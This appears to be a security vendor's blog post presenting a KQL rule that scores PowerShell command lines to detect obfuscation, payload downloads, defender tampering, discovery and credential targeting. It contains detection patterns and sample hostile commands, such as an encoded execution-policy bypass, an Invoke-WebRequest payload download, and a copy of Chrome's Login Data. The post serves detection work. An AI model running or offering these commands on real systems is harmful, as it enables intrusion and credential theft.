Detecting Suspicious PowerShell Command Execution Using Behavioral Scoring

Introduction Boot Layer

PowerShell remains one of the most heavily abused legitimate tools in Windows environments. While administrators use it daily for automation, troubleshooting, configuration management, and scripting, attackers use the same capabilities to:

  • execute commands directly in memory
  • download payloads
  • bypass execution restrictions
  • stage malware
  • perform discovery
  • tamper with security controls

Traditional detections often rely on static indicators such as:

  • suspicious keywords
  • hashes
  • known malware names

The problem is that modern PowerShell abuse rarely looks simple. Attackers increasingly rely on:

  • encoded commands
  • string manipulation
  • obfuscation
  • Living-off-the-Land binaries
  • dynamic execution chains

To address this challenge, this detection uses a behavioral scoring approach instead of relying on a single indicator. The rule evaluates suspicious command-line behaviors, assigns weighted scores, and identifies execution patterns commonly associated with malicious or high-risk PowerShell activity.

Why Traditional PowerShell Detections Often Fail

Detecting: powershell.exe, alone is meaningless.

Even detecting: -EncodedCommand, by itself can generate excessive false positives.

The real value comes from identifying combinations of suspicious behaviors.

For example:

  • encoded execution
  • hidden windows
  • remote downloads
  • execution policy bypass
  • Defender tampering
  • LOLBin execution
  • discovery commands

appearing together in the same command chain create much stronger indicators of malicious activity.

This detection focuses on behavioral context rather than isolated indicators.

Detection Strategy

This rule uses a scoring-based approach.

The detection does the following:

  1. Reviews recent process execution events from DeviceProcessEvents.
  2. Focuses on PowerShell, command-line, scripting, and Windows process execution chains.
  3. Extracts the full command line from ProcessCommandLine.
  4. Attempts to extract and decode Base64-encoded PowerShell commands.
  5. Scores both:
    • The raw command line
    • The decoded command line
  6. Generates a result when either score is greater than or equal to 10.

This approach helps detect suspicious activity even when the attacker tries to hide the real command using encoding or obfuscation.

Reference KQL

let ScoreIndicators = (cmd:string) {
    0
    // =========================
    // Encoding / Obfuscation
    // =========================
    + iif(cmd has_any ("-en", "-enc", "-enco", "-encod", "-encode", "-encoded", "-encodedc", "-encodedco", "-encodedcom", "-encodedcomm", "-encodedcomma", "-encodedcomman", "-encodedcommand"), 3, 0)
    + iif(cmd matches regex @"[A-Za-z0-9+/=]{100,}", 2, 0)
    + iif(cmd has "0x", 1, 0)
    + iif(cmd has_any ("[char]", "chr("), 2, 0)
    + iif(cmd matches regex @"('.*'\s*\+\s*){4,}", 2, 0)
    // =========================
    // Evasion / Execution Tricks
    // =========================
    + iif(cmd has_any ("-nop", "-noni", "-w h", "-noprofile", "-windowstyle hidden"), 1, 0)
    + iif(cmd has_any ("bypass", "ExecutionPolicy", "Unrestricted"), 2, 0)
    + iif(cmd has_any ("amsiutils", "amsiInitFailed", "amsi"), 2, 0)
    + iif(cmd has "& {", 1, 0)
    // =========================
    // Variables / Obfuscation Patterns
    // =========================
    + iif(cmd contains "&$" or cmd matches regex @"\$[a-zA-Z0-9]+\s*=", 2, 0)
    + iif(cmd matches regex @"\$[a-zA-Z]{2}", 1, 0)
    + iif(cmd matches regex @"(\$[a-zA-Z]{2}\s*=){3,}", 2, 0)
    + iif(cmd matches regex @"(\$[a-zA-Z]{2}\s*=){4,}", 2, 0)
    + iif(cmd matches regex @"\$[a-zA-Z]{2}\s*=\s*'i'\s*\+\s*'ex'", 2, 0)
    // =========================
    // String manipulation / staging
    // =========================
    + iif(cmd has_any ("split", "join", "replace"), 1, 0)
    + iif(cmd matches regex @"Split\(',.*'\)", 2, 0)
    + iif(cmd matches regex @"\.\(['""][a-zA-Z]+\s*\+\s*[a-zA-Z]+['""]\)", 2, 0)
    // =========================
    // Download / Web activity
    // =========================
    + iif(cmd has_any ("DownloadString", "DownloadFile", "WebClient", "Invoke-WebRequest", "Invoke-RestMethod"), 3, 0)
    + iif(cmd has_all ("New-Object", "Net.WebClient"), 2, 0)
    + iif(cmd contains "http" or cmd contains "https", 2, 0)
    + iif(cmd matches regex @"(Invoke-(WebRequest|RestMethod).*){2,}", 2, 0)
    + iif(cmd has_any ("Invoke-WebRequest", "DownloadFile", "Start-BitsTransfer") and cmd has_any (".bat", ".exe", ".vbs"), 2, 0)
    // =========================
    // Execution primitives
    // =========================
    + iif(cmd has_any ("iex", "Invoke-Expression", "Invoke-Command", "Add-Type"), 2, 0)
    + iif(cmd matches regex @"(i|I)nvo\w+\+\w+", 2, 0)
    // =========================
    // Reflection / .NET abuse
    // =========================
    + iif(cmd has_any ("GetType", "InvokeMember", "GetMethod", "BindingFlags", "Reflection"), 2, 0)
    // =========================
    // Compression / Encoding APIs
    // =========================
    + iif(cmd has_any ("GzipStream", "DeflateStream", "FromBase64String", "MemoryStream", "IO.Compression"), 2, 0)
    // =========================
    // Control flow / structure
    // =========================
    + iif(cmd has_any ("try{", "catch{"), 1, 0)
    // =========================
    // Suspicious file paths / staging
    // =========================
    + iif(cmd matches regex @"C:\\Users\\[^\\]+\\(Desktop|Documents|Downloads|OneDrive)\\", 2, 0)
    + iif(cmd has_any (@"\AppData\Local\Temp\", @"\ProgramData\"), 1, 0)
    + iif(cmd matches regex @"\\Temp\\[a-z0-9]{6,}\.(bat|vbs)", 3, 0)
    + iif(cmd matches regex @"\\[a-z0-9]{8,16}\.(bat|vbs|exe)", 2, 0)
    + iif(cmd matches regex @"\\[0-9]{3,6}\.exe", 2, 0)
    // =========================
    // Archive / payload handling
    // =========================
    + iif(cmd has_any (".zip", ".rar", "expand", "extract"), 1, 0)
    + iif(cmd has_any ("WinRAR", "7z", "tar"), 2, 0)
    // =========================
    // LOLBins / Script engines
    // =========================
    + iif(cmd has_any ("msbuild.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "regsvr32.exe"), 2, 0)
    + iif(cmd has "msbuild.exe", 3, 0)
    + iif(cmd has_any ("wscript.exe", "cscript.exe") and cmd has ".vbs", 2, 0)
    + iif(cmd has "msbuild" and cmd has_any (".bat", ".cmd"), 3, 0)
    // =========================
    // Command chaining / execution flow
    // =========================
    + iif(cmd has_all ("cmd.exe", "/c") and cmd has ".bat", 2, 0)
    + iif(cmd has_any (".vbs", ".bat") and cmd has_any ("cmd.exe", "wscript", "msbuild"), 2, 0)
    // =========================
    // Persistence
    // =========================
    + iif(cmd has "schtasks" and cmd has_any ("/create", "/sc", "/mo"), 2, 0)
    + iif(cmd has "New-Item" and cmd has "Directory", 1, 0)
    // =========================
    // Defender / security tampering
    // =========================
    + iif(cmd has_any ("Set-ExecutionPolicy", "Add-MpPreference", "Set-MpPreference"), 3, 0)
    + iif(cmd has_any ("Get-MpComputerStatus", "Get-MpPreference", "MpCmdRun.exe"), 3, 0)
    + iif(cmd has_any ("Get-NetFirewallRule", "netsh advfirewall", "netsh firewall"), 3, 0)
    // =========================
    // Discovery (kept from original)
    // =========================
    + iif(cmd has "whoami", 2, 0)
    + iif(cmd has_any ("hostname", "systeminfo", "query user", "quser", "net user", "net localgroup", "net group"), 2, 0)
    + iif(cmd has_any ("tasklist", "taskkill", "sc query", "sc qc", "services.msc", "Get-Service"), 2, 0)
    + iif(cmd has_any ("ipconfig", "Get-NetIPConfiguration", "Get-NetAdapter", "route print"), 2, 0)
    + iif(cmd has_any ("netstat", "Get-NetTCPConnection", "Get-NetUDPEndpoint"), 2, 0)
    + iif(cmd has_any ("arp -a", "nbtstat", "net view", "net use", "net session"), 2, 0)
    + iif(cmd has_any ("Get-ADUser", "Get-ADComputer", "Get-ADGroupMember", "dsquery", "dsget"), 3, 0)
    + iif(cmd has_any ("Get-Process", "Get-WmiObject", "gwmi", "wmic process", "wmic service", "wmic useraccount"), 2, 0)
    + iif(cmd has_any ("Get-ItemProperty", "reg query", "reg export", "HKLM", "HKCU"), 2, 0)
    // =========================
    // Credential / browser targeting
    // =========================
    + iif(cmd has_any ("Login Data", "Web Data", "Cookies") and cmd has_any ("Chrome", "Edge"), 3, 0)
    // =========================
    // Process Injection (HIGH SIGNAL)
    // =========================
    + iif(cmd has_any ("WriteProcessMemory", "VirtualAllocEx", "CreateRemoteThread", "QueueUserAPC"), 4, 0)
    // =========================
    // Misc
    // =========================
    + iif(strlen(cmd) > 300, 2, 0)
    + iif(cmd matches regex @"\\[\\\w]{30,}", 1, 0)
    + iif(cmd matches regex @"-OutFile\s+[^ ]+\s+-OutFile", 2, 0)
    + iif(cmd matches regex @"\$[a-zA-Z]+\s*=\s*""[A-Za-z0-9+/=]{50,}""", 2, 0)
};

DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where FileName in~ ("powershell.exe","cmd.exe","explorer.exe","userinit.exe","mshta.exe","wscript.exe","svchost","wsmprovhost.exe")
| where InitiatingProcessFileName in~ ("powershell.exe","cmd.exe","explorer.exe","userinit.exe","mshta.exe","wscript.exe","svchost","wsmprovhost.exe")
| where InitiatingProcessParentFileName in~ ("powershell.exe","cmd.exe","explorer.exe","userinit.exe","mshta.exe","wscript.exe","svchost","wsmprovhost.exe")
| where AccountDomain !~ "nt authority"
| where AccountDomain <> "autorite nt"
| extend RawCommand = tostring(ProcessCommandLine)
| extend EncodedString = extract(@"(?i)-enc(?:oded(?:command)?)?\s+([A-Za-z0-9+/=]+)", 1, RawCommand)
| extend DecodedCommand = tostring(base64_decode_tostring(EncodedString))
| extend DecodedCleanCommand = replace(@'\x00', '', DecodedCommand)
| extend ScoreRaw = ScoreIndicators(RawCommand)
| extend ScoreDecoded = ScoreIndicators(DecodedCleanCommand)
| extend Case = "Suspicious command executed"
| where ScoreRaw >= 10 or ScoreDecoded >= 10
| project-reorder TimeGenerated, Case,ScoreRaw,ScoreDecoded, RawCommand, DecodedCleanCommand, FileName, InitiatingProcessFileName

Detection Logic Analysis

Scoring Function Overview

The detection uses a scoring-based approach to identify suspicious PowerShell activity commonly associated with:

    • obfuscation
    • payload staging
    • defense evasion
    • discovery activity
    • persistence
    • process injection
    • credential targeting

The ScoreIndicators function analyzes PowerShell command lines and assigns scores based on suspicious behaviors. Each matched indicator increases the overall score. The higher the score, the higher the likelihood that the execution requires investigation.

 

Encoding and Obfuscation Detection

  • KQL Logic
    + iif(cmd has_any ("-en", "-enc", "-enco", "-encod", "-encode", "-encoded", "-encodedc", "-encodedco", "-encodedcom", "-encodedcomm", "-encodedcomma", "-encodedcomman", "-encodedcommand"), 3, 0)
    
    + iif(cmd matches regex @"[A-Za-z0-9+/=]{100,}", 2, 0)
    
    + iif(cmd has "0x", 1, 0)
    
    + iif(cmd has_any ("[char]", "chr("), 2, 0)
    
    + iif(cmd matches regex @"('.*'\s*\+\s*){4,}", 2, 0)
    
    
  • What This Detects
    The rule looks for indicators commonly associated with hidden or obfuscated PowerShell execution, including:

    • encoded PowerShell commands
    • long Base64 strings
    • hexadecimal values
    • character conversion
    • fragmented string construction
  • Why This Matters
    Attackers frequently hide malicious payloads using:

    • Base64 encoding
    • split strings
    • dynamically reconstructed commands
    • character conversionThese techniques help bypass simple keyword-based detections and make commands harder to analyze manually.
  • Example Suspicious Command
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgApAA==

 

Evasion and Stealth Execution

  • KQL Logic
    + iif(cmd has_any ("-nop", "-noni", "-w h", "-noprofile", "-windowstyle hidden"), 1, 0)
    
    + iif(cmd has_any ("bypass", "ExecutionPolicy", "Unrestricted"), 2, 0)
    
    + iif(cmd has_any ("amsiutils", "amsiInitFailed", "amsi"), 2, 0)
    
    + iif(cmd has "& {", 1, 0)
    
    
  • What This Detects
    The rule identifies:

    • hidden PowerShell execution
    • non-interactive execution
    • execution policy bypasses
    • AMSI references
    • script block execution
  • Why This Matters
    These execution patterns are commonly observed in:

    • phishing payloads
    • malware loaders
    • post-exploitation frameworks
    • stealthy execution chains
      Attackers frequently attempt to reduce visibility or bypass security controls before executing malicious code.
  • Example Suspicious Command
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass
    

Variable and Obfuscation Patterns

    • KQL Logic
      + iif(cmd contains "&$" or cmd matches regex @"\$[a-zA-Z0-9]+\s*=", 2, 0)
      
      + iif(cmd matches regex @"\$[a-zA-Z]{2}", 1, 0)
      
      + iif(cmd matches regex @"(\$[a-zA-Z]{2}\s*=){3,}", 2, 0)
      
      + iif(cmd matches regex @"\$[a-zA-Z]{2}\s*=\s*'i'\s*\+\s*'ex'", 2, 0)
      
      
    • What This Detects
      The rule identifies:

      • suspicious variable execution
      • short variable names
      • repeated variable assignments
      • dynamically constructed execution commands
    • Why This Matters
      Attackers often use variables to:

      • hide execution logic
      • split suspicious commands
      • reconstruct payloads dynamically
      • avoid signature-based detection
    • Example Suspicious Command

      $a = "iex"
      
      &$a

       

String Manipulation and Payload Staging

  • KQL Logic
    + iif(cmd has_any ("DownloadString", "DownloadFile", "WebClient", "Invoke-WebRequest", "Invoke-RestMethod"), 3, 0)
    
    + iif(cmd has_all ("New-Object", "Net.WebClient"), 2, 0)
    
    + iif(cmd contains "http" or cmd contains "https", 2, 0)
    
    + iif(cmd has_any ("Invoke-WebRequest", "DownloadFile", "Start-BitsTransfer") and cmd has_any (".bat", ".exe", ".vbs"), 2, 0)
    
  • What This Detects
    The rule looks for:

    • string splitting
    • reconstruction logic
    • dynamic method invocation
    • staged command rebuilding
  • Why This Matters
    String manipulation is commonly used to:

    • reconstruct hidden payloads
    • evade keyword detection
    • dynamically generate malicious commands at runtime

Execution Primitives

  • KQL Logic
    + iif(cmd has_any ("iex", "Invoke-Expression", "Invoke-Command", "Add-Type"), 2, 0)
    
    + iif(cmd matches regex @"(i|I)nvo\w+\+\w+", 2, 0)
    
  • What This Detects
    The rule identifies commands capable of:

    • dynamic execution
    • inline code loading
    • remote command execution
    • obfuscated Invoke-* usage
  • Why This Matters
    Commands such as:

      • Invoke-Expression
      • Invoke-Command
      • Add-Type
        are frequently abused to execute malicious or dynamically generated code.

Reflection and .NET Abuse

  • KQL Logic
    + iif(cmd has_any ("GetType", "InvokeMember", "GetMethod", "BindingFlags", "Reflection"), 2, 0)
    
  • What This Detects
    The rule identifies .NET reflection activity.
  • Why This Matters
    Reflection can be abused to:

    • call sensitive APIs
    • dynamically load code
    • bypass security tooling
    • interact with memory directlyThis behavior is commonly associated with advanced PowerShell tradecraft.

Compression and Encoding APIs

  • KQL Logic
    + iif(cmd has_any ("GzipStream", "DeflateStream", "FromBase64String", "MemoryStream", "IO.Compression"), 2, 0)
    
  • What This Detects
    The rule identifies:

    • payload decompression
    • ase64 decoding
    • in-memory stream handling
  • Why This Matters
    Attackers frequently:

    • compress payloads
    • encode malicious content
    • decompress payloads directly in memoryto avoid detection and reduce forensic visibility.

Suspicious File Paths and Payload Staging

  • KQL Logic
    + iif(cmd matches regex @"C:\\Users\\[^\\]+\\(Desktop|Documents|Downloads|OneDrive)\\", 2, 0)
    
    + iif(cmd has_any (@"\AppData\Local\Temp\", @"\ProgramData\"), 1, 0)
    
    + iif(cmd matches regex @"\\Temp\\[a-z0-9]{6,}\.(bat|vbs)", 3, 0)
    
    + iif(cmd matches regex @"\\[a-z0-9]{8,16}\.(bat|vbs|exe)", 2, 0)
    
  • What This Detects
    The rule looks for:

    • suspicious staging locations
    • randomly named payloads
    • temporary script execution
    • user directory payload placement
  • Why This Matters
    Attackers commonly store payloads in:

      • Temp folders
      • Downloads
      • AppData
      • ProgramData
        because these locations are writable and blend into normal user activity.

LOLBins and Script Engines

  • KQL Logic
    + iif(cmd has_any ("msbuild.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "regsvr32.exe"), 2, 0)
    
    + iif(cmd has "msbuild.exe", 3, 0)
    
    + iif(cmd has_any ("wscript.exe", "cscript.exe") and cmd has ".vbs", 2, 0)
    
  • What This Detects
    The rule identifies abuse of:

    • Living-off-the-Land binaries
    • Windows script engines
    • trusted native execution tools
  • Why This Matters
    Attackers abuse legitimate Windows binaries to:

    • bypass application controls
    • blend into legitimate activity
    • reduce detection visibility
  • Example Suspicious Command

    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\Public\build.xml

     

Persistence Activity

  • KQL Logic
    + iif(cmd has "schtasks" and cmd has_any ("/create", "/sc", "/mo"), 2, 0)
    
    + iif(cmd has "New-Item" and cmd has "Directory", 1, 0)
    
  • What This Detects
    The rule identifies:

    • scheduled task creation
    • staging directory creation
    • persistence-related activity
  • Why This Matters
    Scheduled tasks are commonly used to:

      • maintain persistence
      • execute malware repeatedly
      • trigger payloads automatically

Defender Tampering and Security Discovery

  • KQL Logic
    + iif(cmd has_any ("Set-ExecutionPolicy", "Add-MpPreference", "Set-MpPreference"), 3, 0)
    
    + iif(cmd has_any ("Get-MpComputerStatus", "Get-MpPreference", "MpCmdRun.exe"), 3, 0)
    
    + iif(cmd has_any ("Get-NetFirewallRule", "netsh advfirewall", "netsh firewall"), 3, 0)
    
  • What This Detects
    The rule identifies:

    • Defender configuration tampering
    • security tool discovery
    • firewall enumeration
    • execution policy modification
  • Why This Matters
    Attackers frequently:

      • inspect security tooling
      • weaken protections
      • identify defensive controls
        before deploying malware or escalating activity.

Discovery Activity

  • KQL Logic
    + iif(cmd has "whoami", 2, 0)
    
    + iif(cmd has_any ("hostname", "systeminfo", "net user", "net localgroup"), 2, 0)
    
    + iif(cmd has_any ("ipconfig", "Get-NetIPConfiguration", "route print"), 2, 0)
    
    + iif(cmd has_any ("Get-ADUser", "Get-ADComputer", "Get-ADGroupMember"), 3, 0)
    
  • What This Detects
    The rule identifies:

    • user discovery
    • host discovery
    • network enumeration
    • Active Directory reconnaissance
  • Why This Matters
    After gaining execution, attackers typically attempt to:

      • understand the environment
      • identify privileged users
      • enumerate systems
      • locate lateral movement opportunities
  • Example Suspicious Command

    whoami
    
    hostname
    
    ipconfig /all
    
    net user
    
    net localgroup administrators

 

Credential and Browser Targeting

  • KQL Logic
    + iif(cmd has_any ("Login Data", "Web Data", "Cookies") and cmd has_any ("Chrome", "Edge"), 3, 0)
    
  • What This Detects
    The rule identifies references to:

    • browser credential databases
    • cookies
    • stored authentication data
  • Why This Matters
    Attackers increasingly target:

    • browser credentials
    • saved passwords
    • authentication cookies
    • active sessionsto hijack accounts and bypass MFA protections.
  • Example Suspicious Command

    Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

 

Process Injection Activity

  • KQL Logic
    + iif(cmd has_any ("WriteProcessMemory", "VirtualAllocEx", "CreateRemoteThread", "QueueUserAPC"), 4, 0)
    
  • What This Detects
    The rule identifies process injection APIs commonly associated with:

    • code injection
    • shellcode execution
    • malware loaders
    • in-memory implants
  • Why This Matters
    These APIs are considered high-signal indicators because they are heavily associated with malicious execution and process manipulation activity.
  • Example Suspicious Command

    Add-Type -MemberDefinition '[DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(...)'

 

Additional High-Risk Indicators

  • KQL Logic
    + iif(strlen(cmd) > 300, 2, 0)
    
    + iif(cmd matches regex @"-OutFile\s+[^ ]+\s+-OutFile", 2, 0)
    
    + iif(cmd matches regex @"\$[a-zA-Z]+\s*=\s*""[A-Za-z0-9+/=]{50,}""", 2, 0)
    
  • What This Detects
    The rule identifies:

    • extremely long command lines
    • repeated download operations
    • encoded payload staging
    • suspicious token-like strings
  • Why This Matters
    Long or heavily structured command lines are frequently associated with:

    • encoded payloads
    • obfuscated staging logic
    • malware delivery chains
    • automated attack tooling

Understanding Detection Results

Each result represents a process execution event where the command line contains enough suspicious indicators to meet or exceed the configured score threshold.

Analysts should review:

  • ScoreRaw
  • ScoreDecoded
  • RawCommand
  • DecodedCleanCommand
  • FileName
  • InitiatingProcessFileName
  • Parent process chain
  • User account
  • Device name
  • File path
  • Network connections around the same time
  • Any downloaded files or follow-up execution

A high score does not automatically prove malware, but it strongly indicates that the command should be reviewed.

Example Detection Scenarios

Example 1 – Suspicious Encoded PowerShell

If the command contains:

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand <Base64>

The rule may score it because of:

  • -NoProfile
  • ExecutionPolicy Bypass
  • EncodedCommand
  • Base64 string
  • Long command length

This should be treated as suspicious until decoded and validated.

 

Example 2 – Payload Download

If the command contains:

Invoke-WebRequest http://example.com/payload.exe -OutFile C:\Users\User\Downloads\payload.exe

The rule may score it because of:

  • Invoke-WebRequest
  • http
  • .exe
  • Downloads path
  • -OutFile

This may indicate payload staging or malware delivery activity.

 

Example 3 – Discovery Activity

If the command contains:

whoami; hostname; ipconfig; net user; net localgroup administrators

The rule may increase the score because of:

  • user discovery
  • host discovery
  • network discovery
  • local group enumeration

This may indicate post-compromise reconnaissance activity where an attacker is attempting to understand the environment and identify privilege opportunities.

MITRE ATT&CK Mapping

 

 

 

Tactic Technique ID Technique Detection Logic
Execution T1059 Command and Scripting Interpreter PowerShell, CMD, WScript, and MSHTA can be used to execute attacker commands.
Defense Evasion T1027 Obfuscated Files or Information Encoded commands, Base64 strings, string concatenation, and character conversion may indicate obfuscation.
Execution T1059.001 PowerShell The rule directly targets suspicious PowerShell execution behavior.
Defense Evasion T1562.001 Impair Defenses References to Defender preferences, AMSI, firewall rules, or execution policy may indicate defense evasion.
Discovery T1033 System Owner/User Discovery Triggered by commands like whoami.
Discovery T1082 System Information Discovery Triggered by commands like systeminfo and hostname.
Discovery T1016 System Network Configuration Discovery Triggered by commands like ipconfig, route print, and Get-NetIPConfiguration.
Discovery T1087 Account Discovery Triggered by commands like net user, Get-ADUser, or wmic useraccount.
Discovery T1069 Permission Groups Discovery Triggered by commands like net localgroup, net group, and Get-ADGroupMember.
Command and Control T1105 Ingress Tool Transfer Triggered by download methods such as Invoke-WebRequest, DownloadFile, and WebClient.
Credential Access T1555 Credentials from Password Stores Browser data references such as Login Data, Web Data, and Cookies may indicate credential or session theft.
Privilege Escalation / Defense Evasion T1055 Process Injection Triggered by APIs such as WriteProcessMemory, VirtualAllocEx, and CreateRemoteThread.

 

Response and Remediation Guidance

When this detection triggers, recommended actions include:

  1. Review the RawCommand and DecodedCleanCommand.
  2. Decode and validate any Base64 content.
  3. Review the full process tree.
  4. Check whether the command downloaded files from external URLs.
  5. Review file creation events around the same timestamp.
  6. Check network connections from the same device.
  7. Review whether Defender, firewall, or execution policy settings were queried or modified.
  8. Confirm whether the activity was performed by an administrator, automation tool, or end user.
  9. If malicious behavior is confirmed, isolate the affected endpoint.
  10. Collect related artifacts such as scripts, downloaded files, hashes, URLs, and parent process evidence.
  11. Reset affected user credentials if credential theft or browser data access is suspected.
  12. Search across the environment for the same command line, URL, file hash, or encoded payload.

Why This Detection Matters

Attackers often use PowerShell because it is already trusted, installed by default, and powerful.

This rule helps detect suspicious PowerShell behavior based on command content rather than relying only on known hashes, known malware names, or static IOCs.

The scoring method makes the detection more flexible because it can identify suspicious combinations such as:

  • Encoded command + execution policy bypass
  • Web download + executable staging
  • String obfuscation + Invoke-Expression
  • Discovery commands + suspicious process chain
  • Defender checks + PowerShell execution
  • Browser credential targeting + file staging

How Wizard Cyber Can Help

Wizard Cyber focuses on detection engineering that goes beyond static signatures, hashes, and known indicators of compromise.

We build behavioral analytics designed to identify:

  • Suspicious and obfuscated PowerShell execution
  • Encoded commands and execution policy bypass activity
  • Living-off-the-land abuse using native Windows binaries and scripting engines
  • Payload staging, in-memory execution, and web-based command delivery
  • Discovery, defense evasion, and credential targeting behavior
  • High-fidelity behavioral detections in Microsoft Sentinel and Microsoft Defender XDR

 

Our approach focuses on identifying attacker behavior patterns rather than relying only on known malware or fixed IOCs, because modern attackers do not always need custom malware to compromise an environment. Sometimes all they need is PowerShell, native Windows tools, and a few carefully chained commands.

CYBERSECURITY READINESS

Strengthen Your Cyber Defences Today

As cyber threats grow more complex, proactive detection is no longer optional.

With Wizard Cyber’s Microsoft expertise, organizations can transform their security posture and gain real-time visibility across all endpoints.

Start your journey to smarter, faster cybersecurity today.

EXPLORE MORE

Related Blogs & Insights

Discover blogs that deepen your knowledge and accelerate your security strategy.

ABOUT THE AUTHOR
Motasem Al-Maiaah
SOC Analyst Level 1

Motasem specialises in detection engineering, KQL development, analytics rule creation, and Microsoft Sentinel detection optimisation. He contributes to improving SOC detection coverage through high-quality detection content. He holds Microsoft SC-200, AZ-500, and SC-300 certifications

 

Certifications: SC-200, AZ-500, SC-300

Detection Engineering Team

WIZARD CYBER
Headquarters
Providing enterprises with bespoke & powerful managed solutions to protect against all forms of cybercrime
OUR LOCATIONS
Where to find us?
world map
GET IN TOUCH
Latest Updates
Stay up to date with the latest news from Wizard Cyber and the cybersecurity industry
https://wizardcyber.com/wp-content/uploads/2026/04/ISO-QSL-Cert-ISO-27001-scaled.png
https://wizardcyber.com/wp-content/uploads/2026/04/ISO-QSL-Cert-ISO-9001-scaled.png
WIZARD CYBER
Headquarters
Providing enterprises with bespoke & powerful managed solutions to protect against all forms of cybercrime
OUR LOCATIONS
Where to find us?
world map
GET IN TOUCH
Latest Updates
Stay up to date with the latest news from Wizard Cyber and the cybersecurity industry

Copyright by Wizard Cyber. All rights reserved.

Copyright by Wizard Cyber. All rights reserved.

Contact Us
×
Contact Us
Need Cybersecurity Guidance? Get in touch with us!

Our experts are ready to help with your cybersecurity questions—book a conversation with us by clicking the button.

Book a Meeting
Funded Workshops
×
Funded Workshops
Explore Our Funded Microsoft Security Workshops

Click to learn more about each Microsoft-supported engagement

Book a Consultation